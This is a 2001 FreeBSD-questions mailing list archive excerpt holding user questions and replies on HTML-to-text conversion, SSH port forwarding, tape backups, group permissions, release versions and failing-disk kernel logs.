18 Nov 2001 22:07:03 -0500 (EST) Subject: html to txt converter Content-transfer-encoding: 8bit To: freebsd-questions@freebsd.org From: Eugene Bartok X-mda: Perl SMTP mailer: on unknown Content-type: text/plain; charset=us-ascii User-agent: Mutt/1.2.5i Mime-version: 1.0 Content-disposition: inline Date: Sun, 18 Nov 2001 22:01:50 -0500 Message-id: <20011118220150.A1181@metrotel.net.co> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, anyone a html to txt converter for fbsd? thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:24:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id 4216537B416 for ; Mon, 19 Nov 2001 16:24:11 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id 2C4F4786E1; Tue, 20 Nov 2001 10:54:09 +1030 (CST) Date: Tue, 20 Nov 2001 10:54:09 +1030 From: Greg Lehey To: Gavin Atkinson Cc: Anthony Atkielski , FreeBSD Questions Subject: Re: Mysterious boot during the night Message-ID: <20011120105409.A52512@monorchid.lemis.com> References: <005901c170a2$1cd5efc0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday, 19 November 2001 at 10:20:16 +0000, Gavin Atkinson wrote: > On Mon, 19 Nov 2001, Anthony Atkielski wrote: > >> Which version of the OS is the version that would be distributed, say, on boxed >> CDs, like the version I initially bought at the store? I presume from what I've >> read that -CURRENT is more volatile than STABLE; how do both of these relate to >> RELEASE (if there is such a thing--my system mentions RELEASE on the >> screensaver). > > Hmm... a discussion is in progress on stable@ about the possibility that > the demon screensaver (possibly amongst others) can cause crashes and > spontanious reboots. > > http://docs.freebsd.org/cgi/getmsg.cgi?fetch=637980+0+archive/2001/freebsd-stable/20011111.freebsd-stable The symptoms described there are completely different. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:33:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from apollo.sitaranetworks.com (apollo.sitaranetworks.com [199.103.141.105]) by hub.freebsd.org (Postfix) with ESMTP id 4EC9537B405 for ; Mon, 19 Nov 2001 16:33:48 -0800 (PST) Received: from rios.sitaranetworks.com (rios.sitaranetworks.com [199.103.141.78]) by apollo.sitaranetworks.com (8.10.2+Sun/8.9.3) with ESMTP id fAK0XNP29759 for ; Mon, 19 Nov 2001 19:33:23 -0500 (EST) Received: by rios.sitaranetworks.com with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Nov 2001 19:33:37 -0500 Message-ID: <31269226357BD211979E00A0C9866DAB02BB974C@rios.sitaranetworks.com> From: Chris Ptacek To: "'freebsd-questions@freebsd.org'" Subject: SSH forwarding questions. Date: Mon, 19 Nov 2001 19:33:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What I am trying to do is setup forwarding of a port (5907) from the remote machine (server) to my local machine (client) using a different port (5901). The setup looks a little like this: Client NAT/Firewall +---+ +---+ | 1 |----| 2 |---> Internet +---+ +---+ +---+ +---+ Internet -->| 3 |----| 4 | +---+ +---+ Server/NAT Remote machine behind NAT I would like to connect (with SSH) from machine 1 to machine 3 and setup remote forwarding of the port. When machine 4 tries to connect to the given port on machine 3 it is forwarded to machine 1. The command I am trying is as follows: ssh -C -l -R 5907:localhost:5901 Machine 1 is running FreeBSD 3.1 Machine 3 is running FreeBSD 4.4 I can make the ssh connection between Machine 1 and Machine 3, but it doesn't seem to be forwarding the ports. Some other tests I did: On a FreeBSD 3.1 machine on the same subnet as Machine 1 I tried the above command. I was able to successfully forward the port and connect. On a FreeBSD 4.3 machine on the same subnet as Machine 1 I tried the above command. I was not able to successfully forward the port and connect. I am guessing that this may not be a NAT issue since I also seem to be having troubles with the 4.3 box on the local subnet. The difference is that a netstat -na shows the listening on 5907 on the 4.3 box (can't connect though) while a netstat -na doesn't show anything listening on 5907 on machine 3. Any information on how to solve this problem would be greatly appreciated. Is this a configuration problem, a NAT issue, or both? Thanks, Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:52:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id 2FA4B37B446 for ; Mon, 19 Nov 2001 16:52:06 -0800 (PST) Received: (qmail 48686 invoked from network); 20 Nov 2001 00:51:54 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 20 Nov 2001 00:51:54 -0000 Date: Mon, 19 Nov 2001 19:51:53 -0500 (EST) From: jaime@snowmoon.com To: Mike Meyer Cc: questions@freebsd.org Subject: Re: Writable directory except for a given user In-Reply-To: <15353.33437.744317.153424@guru.mired.org> Message-ID: <20011119194626.K48577-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Mike Meyer wrote: > Sure - create a group that you put all users in by default, and then > take blacklisted users out of it. I'm aware of this idea, but in my case we're talking about hundreds of users. Is there a way to configure adduser (or FreeBSD itself) to add a user to a given group by default? Other than the obvious /etc/adduser.* files, I mean. :) What about a method of doing this and taking care of all of my hundreds of users that already exist? Thanks, Jaime To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17: 0: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from IMGate1.cshore.com (imgate1.cshore.com [63.237.136.14]) by hub.freebsd.org (Postfix) with ESMTP id 616F937B416 for ; Mon, 19 Nov 2001 17:00:00 -0800 (PST) Received: from there (dialup-uu-dynamic31.cshore.com [63.112.158.31]) by IMGate1.cshore.com (Postfix) with SMTP id 0C13323F7E; Mon, 19 Nov 2001 20:24:15 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Matthew Graybosch Reply-To: matthew@starbreaker.net Organization: starbreaker.net Message-Id: <200111192005.49480@starbreaker.net> To: jaime@snowmoon.com Subject: Re: Writable directory except for a given user Date: Mon, 19 Nov 2001 20:07:31 -0500 X-Mailer: KMail [version 1.3] References: <20011119194626.K48577-100000@malkav.snowmoon.com> In-Reply-To: <20011119194626.K48577-100000@malkav.snowmoon.com> Cc: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 19 November 2001 19:51, you wrote: > On Mon, 19 Nov 2001, Mike Meyer wrote: > > Sure - create a group that you put all users in by default, and > > then take blacklisted users out of it. > > I'm aware of this idea, but in my case we're talking about > hundreds of users. Is there a way to configure adduser (or > FreeBSD itself) to add a user to a given group by default? Other > than the obvious /etc/adduser.* files, I mean. :) What about a > method of doing this and taking care of all of my hundreds of > users that already exist? What about just creating a group called "lusers" and putting the blacklisted users there? Sort of an opposite of the "wheel" group. Then change the permissions so that members of group "lusers" can't touch files they shouldn't. - -- Matthew Graybosch http://www.starbreaker.net GnuPG Key ID: 0x7D488659 "Sex, Unix, and rock 'n roll" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+azTcCiK1X1IhlkRAgUvAKDnut/F4XchXyRTfj/OQuzIYKsmAgCgxukJ +VHZOQZ2BAm6lGECT6Pg2TM= =Z1w6 -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17: 0:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from wombat.bytecraft.au.com (wombat.bytecraft.au.com [203.39.118.3]) by hub.freebsd.org (Postfix) with ESMTP id 570FD37B416 for ; Mon, 19 Nov 2001 17:00:22 -0800 (PST) Received: from lt99101401.bytecraft.au.com (unknown [203.39.118.42]) by wombat.bytecraft.au.com (Postfix) with SMTP id 57ED43F6C; Tue, 20 Nov 2001 12:00:20 +1100 (EST) Message-ID: <01aa01c1715e$b8c57f60$2a7627cb@bytecraft.au.com> Reply-To: "MurrayTaylor" From: "MurrayTaylor" To: , "Eugene Bartok" References: <20011118220150.A1181@metrotel.net.co> Subject: Re: html to txt converter Date: Tue, 20 Nov 2001 12:00:18 +1100 Organization: Bytecraft Systems MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG man lynx ----- Original Message ----- From: "Eugene Bartok" To: Sent: Monday, November 19, 2001 2:01 PM Subject: html to txt converter > hi, anyone a html to txt converter for fbsd? > thanks. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:16:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nbrewer.com (sparge.nbrewer.com [208.42.68.70]) by hub.freebsd.org (Postfix) with ESMTP id 15E4637B419 for ; Mon, 19 Nov 2001 17:16:36 -0800 (PST) Received: by mail.nbrewer.com (Postfix, from userid 1001) id F16A94B7195; Mon, 19 Nov 2001 19:16:30 -0600 (CST) Date: Mon, 19 Nov 2001 15:07:13 -0600 From: Christopher Farley To: questions@freebsd.org Subject: Slow restores on a DLT4000 Message-ID: <20011119150711.A7781@northernbrewer.com> Mail-Followup-To: Christopher Farley , questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22.1i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am a new owner of a pair of DLT4000 drives. I've been testing them using dump and restore. I get fairly good throughput on dumps; about 1.6 megs/second, which seems similar to 'average' expectations that have been published. During a dump, the drive does not stream, but runs, stops, rewinds, runs, stops, rewinds... My thinking is that the tape drive is able to write to a tape faster than my platters can provide the bits. Restoring data off a level 0 dump takes about twice as long as the dump itself, and it also fails to stream. Also, it takes just as long to retrieve a few files off of a dump as it does to restore an entire dump. It seems like the drive simply reads the tape sequentially, and if it sees a file I've marked, it writes it to the disk. Consequently, if the file is at the end of the tape, it will take 4 hours to find the file on a 20 Gig dump. Is this (slow) behavior due to the way dump/restore works, or due to the DLT4000? Is there any kind of drive/backup program that allows for some kind of random access on the tape drive? (I used to have a 4mm DAT, and I seem to recall that restoring a single file or two was very fast and efficient. It has been a while since I've done it, though.) -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:19:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nbrewer.com (sparge.nbrewer.com [208.42.68.70]) by hub.freebsd.org (Postfix) with ESMTP id 1B77C37B416 for ; Mon, 19 Nov 2001 17:19:24 -0800 (PST) Received: by mail.nbrewer.com (Postfix, from userid 1001) id 4C3274B7195; Mon, 19 Nov 2001 19:19:20 -0600 (CST) Date: Mon, 19 Nov 2001 15:13:05 -0600 From: Christopher Farley To: Noor Dawod Cc: freebsd-questions@freebsd.org Subject: Re: SCSI tape back that works under FreeBSD Message-ID: <20011119151303.B7781@northernbrewer.com> Mail-Followup-To: Christopher Farley , Noor Dawod , freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.22.1i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Noor Dawod (noor@comrax.com) wrote: > Hi, > > I want to buy a SCSI tape backup (DAT) for our server. Can anyone recommend > a good one? fast and reliable that works under FreeBSD. I think just about any SCSI tape drive will work under FreeBSD. I've used a couple different types of SCSI drives (DAT, DLT) under FreeBSD and found it to be utterly painless to set them up. > While we're at it, how do you back up to one of these tape drives? In believe FreeBSD recognizes a SCSI tape drive as /dev/nrsa0. Most of the tape backup programs (certainly dump, maybe tar and cpio) use the correct device by default. The mt command (man mt) is also useful for manipulating the tape drive (checking the status, positioning the tape to the right file, rewinding or retensioning the tape, etc). -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:20:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailout5.nyroc.rr.com (mailout5-1.nyroc.rr.com [24.92.226.169]) by hub.freebsd.org (Postfix) with ESMTP id 4851337B405 for ; Mon, 19 Nov 2001 17:20:23 -0800 (PST) Received: from nycap.rr.com (cm-24-161-58-114.nycap.rr.com [24.161.58.114]) by mailout5.nyroc.rr.com (8.11.6/Road Runner 1.12) with ESMTP id fAK1KJG15072 for ; Mon, 19 Nov 2001 20:20:19 -0500 (EST) Message-ID: <3BF9B12B.3D521A4D@nycap.rr.com> Date: Mon, 19 Nov 2001 20:26:03 -0500 From: Dennis Logan X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Subject: home pc use Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Can i use this operating system instead of win98 on my pc? dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:20:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id EC67437B417 for ; Mon, 19 Nov 2001 17:20:42 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAK1Kev13059; Tue, 20 Nov 2001 02:20:40 +0100 (CET) Message-ID: <001b01c17161$918ce160$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Gary W. Swearingen" Cc: "FreeBSD Questions" References: <005201c1706f$572afb80$6600000a@ach.domain><20011119124150.R16195@monorchid.lemis.com><005901c170a2$1cd5efc0$0a00000a@atkielski.com><200111182159.11756@starbreaker.net><20011119135936.S16195@monorchid.lemis.com><001901c170c0$ce2ef460$9600000a@custcom><00c201c170c5$d4222400$0a00000a@atkielski.com> Subject: Re: Mysterious boot during the night Date: Tue, 20 Nov 2001 02:20:34 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Gary writes: > As a 9-month user, I'd confidently say MAYBE. > It depends on how well RELEASE works for you, > and how you trade off the benefits of new > features against the risk of problems, no? At present it seems to work just fine, and thus far I have no hard evidence to indicate that my mysterious reboot had anything to do with a bug in RELEASE that would be fixed in any other version. > The words that you replied to seem to be CYA > verbiage which reflects the fact that STABLE > has not always been well tested as a released > "product" (sometimes hardly at all) and might > occasionally not work well, or not at all. Well, at this early stage in my experience with FreeBSD, I prefer something that I don't have to debug. > But, as you've probably noticed by now, a common > (for good reason) reply to reports of problems > is "use the latest STABLE" (sometimes followed by > "before reporting problems"). Yes, that's what we used to say in technical support, too. It means "I don't know what's wrong." > Be glad that you at least have a choice. Most software gives you a choice. Even commercial products have endless updates to fix things, and typically more than one full release is supported at a time. I usually tend to stay with a version that appears to work unless some truly compelling reason to "upgrade" presents itself, such as a constant, serious bug causing problems with my production, or some new functionality that I cannot do without. I don't upgrade to more recent versions simply in the vague hope that some vague problem I've seen might go away with the upgrade. More often than not, new problems come with the upgrade that more than negate the value thereof in fixing the original problem, if any. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:21:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from host3.expertcity.rangefire.net (host1.expertcity.rangefire.net [216.64.159.146]) by hub.freebsd.org (Postfix) with ESMTP id B9A9237B41A for ; Mon, 19 Nov 2001 17:20:55 -0800 (PST) Received: from [10.4.1.134] (helo=expertcity.com) by host3.expertcity.rangefire.net with esmtp (Exim 3.22 #4) id 165zap-0003xn-00 for questions@freebsd.org; Mon, 19 Nov 2001 17:20:55 -0800 Message-ID: <3BF9B015.9030304@expertcity.com> Date: Mon, 19 Nov 2001 17:21:25 -0800 From: Jeff Behl User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 X-Accept-Language: en-us MIME-Version: 1.0 To: questions@freebsd.org Subject: bad disk??? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a 4.4 machine setup to sniff and store network traffic (from 5 to 15Mb/s) which has been locking up, leaving nothing in /var/adm/messages. The console port is also dead (via serial). I killed one of the capture programs we use (argus), but left the other (tcpdump) running. While the machine hasn't locked up since, I have been getting the following errors. Is the drive failing? Could this be the cause of the previous lockups? The drive in the below logs is used solely for archiving the network data (the entire drive is used by slice ad1s1e). thanks for any help. jeff hoover#Nov 17 02:18:49 hoover /kernel: ad1s1e: hard error reading fsbn 68039743 of 34019840-34020095 (ad1s1 bn 68039743; cn 4235 tn 70 sn 58) Nov 17 02:18:49 hoover /kernel: ad1s1e: hard error reading fsbn 68039743 of 34019840-34020095 (ad1s1 bn 68039743; cn 4235 tn 70 sn 58) Nov 17 02:18:54 hoover /kernel: ad1: DMA problem fallback to PIO mode Nov 17 02:18:54 hoover /kernel: ad1: DMA problem fallback to PIO mode Nov 17 02:19:00 hoover last message repeated 11 times Nov 17 02:19:00 hoover /kernel: ad1s1e: hard error reading fsbn 68039935 of 34019840-34020095 (ad1s1 bn 68039935; cn 4235 tn 73 sn 61) status=59 error=40 Nov 17 02:19:00 hoover last message repeated 11 times Nov 17 02:19:00 hoover /kernel: ad1s1e: hard error reading fsbn 68039935 of 34019840-34020095 (ad1s1 bn 68039935; cn 4235 tn 73 sn 61) status=59 error=40 Nov 17 02:19:05 hoover /kernel: ad1: DMA problem fallback to PIO mode Nov 17 02:19:05 hoover /kernel: ad1: DMA problem fallback to PIO mode Nov 17 02:19:11 hoover /kernel: ad1s1e: hard error reading fsbn 68039951 of 34019856-34020095 (ad1s1 bn 68039951; cn 4235 tn 74 sn 14) status=59 error=40 Nov 17 02:19:11 hoover /kernel: ad1s1e: hard error reading fsbn 68039951 of 34019856-34020095 (ad1s1 bn 68039951; cn 4235 tn 74 sn 14) status=59 error=40 Nov 17 02:19:16 hoover /kernel: ad1s1e: hard error reading fsbn 68039967 of 34019872-34020095 (ad1s1 bn 68039967; cn 4235 tn 74 sn 30) status=59 error=40 Nov 17 02:19:16 hoover /kernel: ad1s1e: hard error reading fsbn 68039967 of 34019872-34020095 (ad1s1 bn 68039967; cn 4235 tn 74 sn 30) status=59 error=40 Nov 17 02:19:22 hoover /kernel: ad1s1e: hard error reading fsbn 68039983 of 34019888-34020095 (ad1s1 bn 68039983; cn 4235 tn 74 sn 46) status=59 error=40 Nov 17 02:19:22 hoover /kernel: ad1s1e: hard error reading fsbn 68039983 of 34019888-34020095 (ad1s1 bn 68039983; cn 4235 tn 74 sn 46) status=59 error=40 Nov 17 02:19:27 hoover /kernel: ad1s1e: hard error reading fsbn 68039999 of 34019904-34020095 (ad1s1 bn 68039999; cn 4235 tn 74 sn 62) status=59 error=40 Nov 17 02:19:27 hoover /kernel: ad1s1e: hard error reading fsbn 68039999 of 34019904-34020095 (ad1s1 bn 68039999; cn 4235 tn 74 sn 62) status=59 error=40 Nov 17 02:19:32 hoover /kernel: ad1s1e: hard error reading fsbn 68040015 of 34019920-34020095 (ad1s1 bn 68040015; cn 4235 tn 75 sn 15) status=59 error=40 Nov 17 02:19:32 hoover /kernel: ad1s1e: hard error reading fsbn 68040015 of 34019920-34020095 (ad1s1 bn 68040015; cn 4235 tn 75 sn 15) status=59 error=40 Nov 17 02:19:38 hoover /kernel: ad1s1e: hard error reading fsbn 68040031 of 34019936-34020095 (ad1s1 bn 68040031; cn 4235 tn 75 sn 31) status=59 error=40 Nov 17 02:19:38 hoover /kernel: ad1s1e: hard error reading fsbn 68040031 of 34019936-34020095 (ad1s1 bn 68040031; cn 4235 tn 75 sn 31) status=59 error=40 Nov 17 02:19:43 hoover /kernel: ad1s1e: hard error reading fsbn 68040047 of 34019952-34020095 (ad1s1 bn 68040047; cn 4235 tn 75 sn 47) status=59 error=40 Nov 17 02:19:43 hoover /kernel: ad1s1e: hard error reading fsbn 68040047 of 34019952-34020095 (ad1s1 bn 68040047; cn 4235 tn 75 sn 47) status=59 error=40 Nov 17 02:19:49 hoover /kernel: ad1s1e: hard error reading fsbn 68040063 of 34019968-34020095 (ad1s1 bn 68040063; cn 4235 tn 76 sn 0) status=59 error=40 Nov 17 02:19:49 hoover /kernel: ad1s1e: hard error reading fsbn 68040063 of 34019968-34020095 (ad1s1 bn 68040063; cn 4235 tn 76 sn 0) status=59 error=40 Nov 17 02:19:54 hoover /kernel: ad1s1e: hard error reading fsbn 68040079 of 34019984-34020095 (ad1s1 bn 68040079; cn 4235 tn 76 sn 16) status=59 error=40 Nov 17 02:19:54 hoover /kernel: ad1s1e: hard error reading fsbn 68040079 of 34019984-34020095 (ad1s1 bn 68040079; cn 4235 tn 76 sn 16) status=59 error=40 Nov 17 02:20:00 hoover /kernel: ad1s1e: hard error reading fsbn 68040095 of 34020000-34020095 (ad1s1 bn 68040095; cn 4235 tn 76 sn 32) status=59 error=40 Nov 17 02:20:00 hoover /kernel: ad1s1e: hard error reading fsbn 68040095 of 34020000-34020095 (ad1s1 bn 68040095; cn 4235 tn 76 sn 32) status=59 error=40 Nov 17 02:20:05 hoover /kernel: ad1s1e: hard error reading fsbn 68040111 of 34020016-34020095 (ad1s1 bn 68040111; cn 4235 tn 76 sn 48) status=59 error=40 Nov 17 02:20:05 hoover /kernel: ad1s1e: hard error reading fsbn 68040111 of 34020016-34020095 (ad1s1 bn 68040111; cn 4235 tn 76 sn 48) status=59 error=40 Nov 17 02:20:05 hoover /kernel: ad1s1e: hard error reading fsbn 68040127 of 34020032-34020095 (ad1s1 bn 68040127; cn 4235 tn 77 sn 1) status=59 error=40 Nov 17 02:20:05 hoover /kernel: ad1s1e: hard error reading fsbn 68040127 of 34020032-34020095 (ad1s1 bn 68040127; cn 4235 tn 77 sn 1) status=59 error=40 Nov 17 02:20:05 hoover /kernel: ad1s1e: hard error reading fsbn 68040127 of 34020032-34020047 (ad1s1 bn 68040127; cn 4235 tn 77 sn 1) status=59 error=40 Nov 17 02:20:05 hoover /kernel: ad1s1e: hard error reading fsbn 68040127 of 34020032-34020047 (ad1s1 bn 68040127; cn 4235 tn 77 sn 1) status=59 error=40 Nov 17 14:30:06 hoover /kernel: ad1: WRITE command timeout tag=0 serv=0 - resetting Nov 17 14:30:06 hoover /kernel: ad1: WRITE command timeout tag=0 serv=0 - resetting Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 17 14:30:06 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 17 14:30:06 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 17 14:30:06 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 17 14:30:06 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 17 14:30:06 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 17 14:30:06 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 17 14:30:06 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ad1: WRITE command timeout tag=0 serv=0 - resetting Nov 18 02:58:59 hoover /kernel: ad1: WRITE command timeout tag=0 serv=0 - resetting Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 18 02:58:59 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 18 02:58:59 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 18 02:58:59 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 18 02:58:59 hoover /kernel: ata0: resetting devices .. done Nov 19 00:07:49 hoover /kernel: ad1: READ command timeout tag=0 serv=0 - resetting Nov 19 00:07:49 hoover /kernel: ad1: READ command timeout tag=0 serv=0 - resetting Nov 19 00:07:49 hoover /kernel: ata0: resetting devices .. done Nov 19 00:07:49 hoover /kernel: ata0: resetting devices .. done Nov 19 00:07:49 hoover /kernel: ad1: read interrupt arrived earlyad1: read error detected (too) late Nov 19 00:07:49 hoover /kernel: ad1: read interrupt arrived earlyad1: read error detected (too) late Nov 19 00:58:40 hoover /kernel: ad1: WRITE command timeout tag=0 serv=0 - resetting Nov 19 00:58:40 hoover /kernel: ad1: WRITE command timeout tag=0 serv=0 - resetting Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done Nov 19 00:58:40 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 19 00:58:40 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done Nov 19 00:58:40 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 19 00:58:40 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done Nov 19 00:58:40 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 19 00:58:40 hoover /kernel: ad1: timeout waiting for DRQ - resetting Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done Nov 19 00:58:40 hoover /kernel: ata0: resetting devices .. done To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 17:22: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com 